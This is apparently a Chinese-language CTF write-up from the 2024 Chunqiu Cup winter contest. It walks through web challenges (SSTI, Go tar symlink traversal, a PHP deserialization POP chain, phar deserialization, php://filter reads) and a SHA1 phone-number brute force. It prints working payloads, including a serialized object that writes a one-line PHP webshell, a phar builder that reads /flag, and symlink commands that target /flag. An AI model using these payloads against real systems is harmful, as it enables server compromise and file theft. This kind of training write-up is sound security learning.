writeup
web
easy_flask【day1】
想想flask!!
——————————
开题一个输入框,随便输入如下回显:

一眼ssti,直接用hackbar中的payload打即可:

得到flag。
file_copy【day1】
file copy
——————
开题如下:

随便输入/etc/passwd返回值如下:

然后尝试了一下/flag:

有内容。然后想了一下后端的逻辑,猜测这里是调用的copy()函数,然后随便输入,得到如下报错结果:

copy()函数是一个文件操作函数,可以知道这里可以打oracle侧信道,直接跑脚本即可:

得到flag。
Gotar【day1】
一个简陋的文件管理系统,你能拿到admin用户上传的flag吗?
————————
看了一下官方wp,这个算是非预期的方法。
题目给了go源码。自己审源码,没审出来什么东西,尝试过直接伪造jwt,但是没成功。然后搜文章,看到了如下文章:
https://xz.aliyun.com/t/15049?time__1311=GqjxuiPYqDq0yqeqBKumxRxWqT5xn0geoD#toc-10
里面提到了几个go语言的存在漏洞的函数,比如有目录穿越漏洞。
但是我找了一圈没看到利用点。感觉是在文件上传这个地方有利用点,这里后端采用的archive/tar库只能解析tar后缀的压缩文件,所以这里就只能上传tar文件。想到了软链接,前面都是打的unzip软链接,这里应该也存在tar软链接,想着使用tar软链接来带出文件。找到了一篇感觉可以打的文章:
https://b1ue0ceanrun.github.io/2022/07/08/justctf2022/
但是在最关键的如何压缩tar文件没有具体说明,原文感觉是直接利用的winrar来压缩的,这里没有成功,一直没打出来,感觉就是命令出了问题。
后面就可以搜tar软链接,如下文章:
https://www.ek1ng.com/2023CrewCTFWP.html#archive-stat-viewer
这个文章就很像了。
可以知道基本思路,但是还是一直没打出来,找了一篇文章说怎么写软链接,其使用的命令如下:
1
|
tar -cvhf ./tmp/SK_Aug_camera.tar ./gap_40_5
|
这个其实有一定的问题,对于tar命令的参数说明的参考文章如下:
https://blog.csdn.net/u013053075/article/details/103117341
里面说到了-h选项的:

也就是说这里压缩成tar包时会将我使用ln -s
命令指定的软链接的文件中的内容直接压缩在里面,而不是将软链接的指向压缩在里面,但是我们真正想要利用的是第二个,所以这里并不能加上-h选项,所以最后尝试的命令如下:
1
|
tar -cvf 1234.tar passwd
|
如下执行即可:

然后上传1234.tar文件,如下回显:

说是已经有了软链接,那么现在访问一下给的路径,什么都没有,但是这里的2是一个目录,所以可以尝试一下目录穿越:
1
|
tar -cvf 1234.tar ../../passwd
|
还是没打出来,后来发现是tar版本的问题,压缩时会自动去除../
,后面多注意一下。
比赛结束找晨曦师傅要了一下wp。最后没复现出来,环境关了。
非预期是打的tar软链接,需要目录穿越一下,这里使用的tar目录的选项为:
1
2
|
ln -s /flag flag
tar cf a3.tar ../../flag
|
官网wp是可以目录穿越写文件,然后覆盖掉.env文件里面的JWT_SECRET,这样可以实现admin用户伪造,可以直接在download页面读取到flag。
贴一个官方wp:
《2024春秋杯冬季赛第一天题目部分解析》
easy_ser【day2】
简单的反序列化来哩
————————
一道php反序列化的题,代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
|
听说pop挺好玩的
<?php
//error_reporting(0);
function PassWAF1($data){
$BlackList = array("eval", "system", "popen", "exec", "assert", "phpinfo", "shell_exec", "pcntl_exec", "passthru", "popen", "putenv");
foreach ($BlackList as $value) {
if (preg_match("/" . $value . "/im", $data)) {
return true;
}
}
return false;
}
function PassWAF2($str){
$output = '';
$count = 0;
foreach (str_split($str, 16) as $v) {
$hex_string = implode(' ', str_split(bin2hex($v), 4));
$ascii_string = '';
foreach (str_split($v) as $c) {
$ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
}
$output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
$count += 16;
}
return $output;
}
function PassWAF3($data){
$BlackList = array("\.\.", "\/");
foreach ($BlackList as $value) {
if (preg_match("/" . $value . "/im", $data)) {
return true;
}
}
return false;
}
function Base64Decode($s){
$decodeStr = base64_decode($s);
if (is_bool($decodeStr)) {
echo "gg";
exit(-1);
}
return $decodeStr;
}
class STU{
public $stu;
public function __construct($stu){
$this->stu = $stu;
}
public function __invoke(){
echo $this->stu;
}
}
class SDU{
public $Dazhuan;
public function __wakeup(){
$Dazhuan = $this->Dazhuan;
$Dazhuan();
}
}
class CTF{
public $hackman;
public $filename;
public function __toString(){
$data = Base64Decode($this->hackman);
$filename = $this->filename;
if (PassWAF1($data)) {
echo "so dirty";
return;
}
if (PassWAF3($filename)) {
echo "just so so?";
return;
}
file_put_contents($filename, PassWAF2($data));
echo "hack?";
return "really!";
}
public function __destruct(){
echo "bye";
}
}
$give = $_POST['data'];
if (isset($_POST['data'])) {
unserialize($give);
} else {
echo "<center>听说pop挺好玩的</center>";
highlight_file(__FILE__);
}
|
其中几个点:
1
|
file_put_contents($filename, PassWAF2($data));
|
可以知道是写文件,这里就可以写马。
写马的话就需要注意定义的函数以及调用,比较需要关注的就如下函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
function PassWAF2($str){
$output = '';
$count = 0;
foreach (str_split($str, 16) as $v) {
$hex_string = implode(' ', str_split(bin2hex($v), 4));
$ascii_string = '';
foreach (str_split($v) as $c) {
$ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
}
$output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
$count += 16;
}
return $output;
}
|
这里会将我输入的内容编写成一个类似16进制格式的那种内容,然后才会写入文件,如下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
function PassWAF2($str){
$output = '';
$count = 0;
foreach (str_split($str, 16) as $v) {
$hex_string = implode(' ', str_split(bin2hex($v), 4));
$ascii_string = '';
foreach (str_split($v) as $c) {
$ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
}
$output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
$count += 16;
}
return $output;
}
$a="\<\?php \$_GET[0](\$_POST[1])\?\>";
$filename = "123456.php";
file_put_contents($filename, PassWAF2($a));
|
运行后123456.php文件内容为:
1
2
|
00000000: 5c3c 5c3f 7068 7020 245f 4745 545b 305d \<\?php $_GET[0]
00000010: 2824 5f50 4f53 545b 315d 295c 3f5c 3e ($_POST[1])\?\>
|
可以看到是将代码分割开了,很容易想到,缩短payload长度,让其在第一行就会被全部解析,想到了一句话木马最短版:
经测试,可以成功:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
function PassWAF2($str){
$output = '';
$count = 0;
foreach (str_split($str, 16) as $v) {
$hex_string = implode(' ', str_split(bin2hex($v), 4));
$ascii_string = '';
foreach (str_split($v) as $c) {
$ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
}
$output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
$count += 16;
}
return $output;
}
$a='<?=`$_GET[0]`;?>';
$filename = "123456.php";
file_put_contents($filename, PassWAF2($a));
|
所以现在直接写链子即可:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
听说pop挺好玩的
<?php
class STU{
public $stu;
public function __invoke(){
echo $this->stu;
}
}
class SDU{
public $Dazhuan;
public function __wakeup(){
$Dazhuan = $this->Dazhuan;
$Dazhuan();
}
}
class CTF{
public $hackman;
public $filename;
public function __toString(){
$data = Base64Decode($this->hackman);
$filename = $this->filename;
if (PassWAF1($data)) {
echo "so dirty";
return;
}
if (PassWAF3($filename)) {
echo "just so so?";
return;
}
file_put_contents($filename, PassWAF2($data));
echo "hack?";
return "really!";
}
public function __destruct(){
echo "bye";
}
}
$a= new SDU();
$a->Dazhuan=new STU();
$a->Dazhuan->stu=new CTF();
$a->Dazhuan->stu->filename="shell.php";
$a->Dazhuan->stu->hackman='PD89YCRfR0VUWzBdYDs/Pg==';
echo serialize($a);
|
得到链子:
1
|
O:3:"SDU":1:{s:7:"Dazhuan";O:3:"STU":1:{s:3:"stu";O:3:"CTF":2:{s:7:"hackman";s:24:"PD89YCRfR0VUWzBdYDs/Pg==";s:8:"filename";s:9:"shell.php";}}}
|
然后就是打就行了,传入数据后访问shell.php文件,进行命令执行读flag即可:

得到flag。
b0okshelf【day2】
读万卷书,行万里路。老师想让你做一个共享图书平台,但是为了开源节流,不采用数据库,你用了一些神奇的办法……
————————
开题,进行信息收集。
后端是php:

扫一下目录:

扫到一个backup.zip和一个robots.txt,但是robots.txt其实就是说的backup.zip文件。下载这个backup.zip文件,里面就是源码,简单来说就是审计源码的操作。
源码还是挺简单的。简单说说考点吧:
先是字符串逃逸(增多)来任意写马,连上木马,但是有open_basedir的限制。再然后还有disable_function的限制,这里可以使用蚁剑工具的fpm来绕,还可以使用CN-EXT (CVE-2024-2961)弹个shell来绕,记住就行。这里就注意一下,绕过disable_funtion还有其他的方法。
最后有个sudo的date提权。
环境关了,具体解法看官方wp吧:
《2024春秋杯冬季赛第二天题目部分解析》
easy_code【day3】
尝试绕过呢
题目提示:构造整数溢出,以及php://filter过滤器去绕过读取read.php
——————————
本来是day2的题,但是不知道为啥在day2最后几天撤了放day3了。
开题信息收集拿到是php后端,然后扫目录扫出来robots.txt文件,里面防爬gogogo.php,访问这个页面,得到如下php代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$allowedFiles = ['read.php', 'index.php'];
$ctfer = $_GET['ctfer']?? null;
if ($ctfer === null) {
die("error 0!");
}
if (!is_numeric($ctfer)) {
die("error 1!");
}
if ($ctfer!= 667) {
die("error 2!");
}
//溢出
if (strpos(strval($ctfer), '7')!== false) {
die("error 3!");
}
$file = $_GET["file"];
if ($_COOKIE['pass'] == "admin") {
if (isset($file)) {
// 改进的正则表达式,检查是否不存在 base|rot13|input|data|flag|file|base64 字符串
if (preg_match("/^(?:.*(?:base|rot13|input|data|flag|file|2|5|base64|log|proc|self|env).*)$/i", $file)) {
// 先检查文件是否在允许的列表中
echo "prohibited prohibited!!!!";
} else {
echo "试试read.php";
include($file);
}
}
}
?>
试试read.php
|
前面的整数绕过不是很懂,本来以为是考的如下文章的知识点:
《Hackergame 2021 Web题2 卖瓜 题解(PHP整型溢出漏洞)》
但是没怎么构造出来。看了一下其他师傅的wp,大概就是php中存在一个浮点精度问题,当浮点精度过高,会导致上溢。所以这里使用下面这个可以绕:
1
|
?ctfer=666.99999999999999999999999999
|
后面就是一个简单的filter过滤器的利用,直接如下读即可:
1
|
?ctfer=666.99999999999999999999999999&file=php://filter/convert.iconv.utf8.utf16/resource=read.php
|
拿到read.php文件内容:
1
|
<?php $flag = "ZmxhZ3tkOTFlYTIzZTkyN2IwZTJkY2E2NDYyNGNmNGM4NjdjYX0=" ?>
|
拿去解码得到flag:
1
|
flag{d91ea23e927b0e2dca64624cf4c867ca}
|
——————
easy_php【day3】
如何触发phar呢
————————
不多说,很像一道原题:SWPUCTF 2018]SimplePHP
改了一点。给了源码,但是事先我是不知道的,这里就简单记录一下踩的坑,首先是文件名的问题,这里我基础不牢,范了一个非常基础的错误,源码中对上传的文件有如下处理:
1
2
3
4
5
6
|
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
|
可以知道是将文件名重写并指定了后缀,这里是将上传的文件名(比如shell.gif)和访问ip(你的外网Ip)拼接然后md5加密生成的文件名。这里为了获取到文件名卡了很久,但是这里应该要注意一个代码:
虽然是被注释了的,但是这里也是变相表明了一些东西,这里的upload是可以访问的,就算是www-data权限。所以这里在上传了文件后是可以知道文件名的。
第二个点就是读取flag的地方,在file.php中也是注释了一个代码:
1
|
#ini_set('open_basedir','/var/www/html/phar2');
|
就是可以读取任何目录的文件。源码给了一个假的flag.php,真的是在根目录下的/flag。
最后,这里的生成phar的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
|
<?php
class Chunqiu
{
public $test;
public $str;
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
$a=new Chunqiu();
$a->str=new Show();
$a->str->str['str']=new Test();
$a->str->str['str']->params["source"]="/flag";
$phar = new Phar("phar.phar"); //.phar文件,后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();<!-- ?>"); //设置stub,固定的
$phar->setMetadata($a); //将自定义的meta-data存入manifest --这里注意变通
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
|
生成的phar然后改成gif后缀上传即可。然后拿到文件名,使用phar协议触发即可。
其他wp就看看官方wp即可:
《春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析》
crypto
通往哈希的旅程
在数字城,大家都是通过是通过数字电话进行的通信,常见是以188开头的11位纯血号码组成,亚历山大抵在一个特殊的地方截获一串特殊的字符串"ca12fd8250972ec363a16593356abb1f3cf3a16d",通过查阅发现这个跟以前散落的国度有点相似,可能是去往哈希国度的。年轻程序员亚力山大抵对这个国度充满好奇,决定破译这个哈希值。在经过一段时间的摸索后,亚力山大抵凭借强大的编程实力成功破解,在输入对应字符串后瞬间被传送到一个奇幻的数据世界,同时亚力山大抵也开始了他的进修之路。(提交格式:flag{11位号码})
哈希爆破,让gpt根据这个写个脚本即可:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
import hashlib
def generate_hash(number):
# 假设哈希算法是SHA1
return hashlib.sha1(number.encode()).hexdigest()
def crack_hash(target_hash):
# 生成所有11位的电话号码
for i in range(18810000000, 18899999999):
phone_number = str(i)
# 生成该电话号码的哈希值
phone_hash = generate_hash(phone_number)
# 如果哈希值匹配,则返回该电话号码
if phone_hash == target_hash:
return phone_number
return None
if __name__ == "__main__":
target_hash = "ca12fd8250972ec363a16593356abb1f3cf3a16d"
result = crack_hash(target_hash)
if result:
print(f"flag{{{result}}}")
else:
print("未能找到匹配的电话号码")
|
得到flag: